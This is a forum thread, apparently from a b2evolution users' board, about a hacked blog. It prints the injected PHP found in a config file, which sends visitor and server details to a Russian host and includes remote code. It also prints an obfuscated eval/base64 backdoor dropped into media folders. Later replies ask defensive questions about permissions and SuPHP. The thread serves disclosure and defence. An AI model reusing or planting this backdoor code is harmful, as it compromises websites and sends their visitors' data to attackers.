A couple days ago one of my client's blogs was hacked.
The script sends some info on bebdfzzazbzgj.users.phpinclude.ru ( Russian hackers are mad and hungry :) )
The script also created randomly named php files in each subdir of the /media directory.
Dear b2evo users, please check your conf/_basic_config.php for malicious code and report back if you found anything suspicious!
This is what I found in conf/basic_config.php (optimized for easy reading)
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);
$path = base64_decode("aHR0cDovLw==")."bebdfzzazbzgj".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str;
if((include_once($path)))
{
}
else
{
include_once($path);
}
One of the files from /media directory:
<?php error_reporting(0);$p="bebdfzzazbzgj";eval(base64_decode("Y2xhc3MgbmV3aHR0cHsNCnZhciAkZnVsbHVybDsgd
mFyICRwX3VybDsgdmFyICRjb25uX2lkOyB2YXIgJGZsdXNoZWQ7IHZhciA
kbW9kZSA9IDQ7IHZhciAkZGVmbW9kZTsgdmFyICRyZWRpcmVjdHMgPS
AwOyB2YXIgJGJpbmFyeTsgdmFyICRvcHRpb25zOyB2YXIgJHN0YXQgPSBh
cnJheSgnZGV2JyA9PiAwLCdpbm8nID0+IDAsJ21vZGUnID0+IDAsJ25saW
5rJyA9PiAxLCd1aWQnID0+IDAsJ2dpZCcg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NF9lbmNvZGUoJF9QT1NUWyJsIl0pLiImcD0iLmJhc2U2NF9lbmNvZGUob
WQ1KCRfUE9TVFsicCJdKSk7fWVsc2V7JHVzZXJfYXV0aD0iJmw9Ii4kX1BPU
1RbImwiXS4iJnA9Ii4kX1BPU1RbInAiXTt9fWVsc2V7JHVzZXJfYXV0aD0iIjt9
aWYoIWlzc2V0KCRfUE9TVFsibG9nX2ZsZyJdKSl7JGxvZ19mbGc9IiZsb2ciO
30NCiRya2h0PTE7aWYodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCc1L
jInLCc+PScpKXtpZihpbmlfZ2V0KCdhbGxvd191cmxfaW5jbHVkZScpKXskc
mtodD0xO31lbHNleyRya2h0PTA7fX0NCmlmKCRya2h0PT0xKXtpZihpbmlfZ
2V0KCdhbGxvd191cmxfZm9wZW4nKSl7JHJraHQ9MTt9ZWxzZXskcmtodD
0wO319DQokdj0kcC5iYXNlNjRfZGVjb2RlKCJMblZ6WlhKekxtSnBjMmhsYkd
3dWNuVT0iKS4iLz9yX2FkZHI9Ii5zcHJpbnRmKCIldSIsIGlwMmxvbmcoZ2V
0ZW52KCJSRU1PVEVfQUREUiIpKSkuIiZ1cmw9Ii5iYXNlNjRfZW5jb2RlKCRf
U0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSS
SJdKS4kdXNlcl9hdXRoLiRsb2dfZmxnOw0KaWYoJHJraHQ9PTEpe2lmKCFAa
W5jbHVkZV9vbmNlKGJhc2U2NF9kZWNvZGUoImFIUjBjRG92THc9PSIpLiR2
KSl7fX0NCmVsc2V7c3RyZWFtX3dyYXBwZXJfcmVnaXN0ZXIoJ2h0dHAyJy
wnbmV3aHR0cCcpO2lmKCFAaW5jbHVkZV9vbmNlKGJhc2U2NF9kZWNvZG
UoImFIUjBjREk2THk4PSIpLiR2KSl7fX0=")); ?>
Some questions, if I may.
Was the file size noticeably different? For example my conf/_basic_config.php file is 4716 bytes according to my FTP program. Obviously that number changes from installation to installation, but if the hacked one was way off that then file size is a good clue for those with concerns.
Was the file CHMOD'd to facilitate installation? I'm pretty sure the manual says to change permissions to something so that b2evolution can write the values it needs if you want to edit the file during the installation process, but (last I looked), did not tell you to change it back after you were done installing.
Any other info that might help shed light on this? For example PHP version? Not that I know *why* those might be issues ... just that it comes up in this type of situation.
Oh and do you suppose SuPHP (I'm pretty sure that's the name of the thing) can protect someone against this? I had a malicious activity once, but it only affected directories I had opened to 777. Both my host and fplanque came up with SuPHP around the same time. A feather in both their caps eh? Not that users can go magically install that, but users MIGHT want to shop around for a host with it IF it can protect them against malicious activity.